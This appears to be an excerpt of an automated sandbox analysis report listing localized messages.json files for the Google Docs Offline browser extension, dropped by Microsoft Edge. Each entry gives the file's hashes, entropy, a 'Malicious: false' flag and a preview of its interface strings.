Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\sr\messages.json

Download File

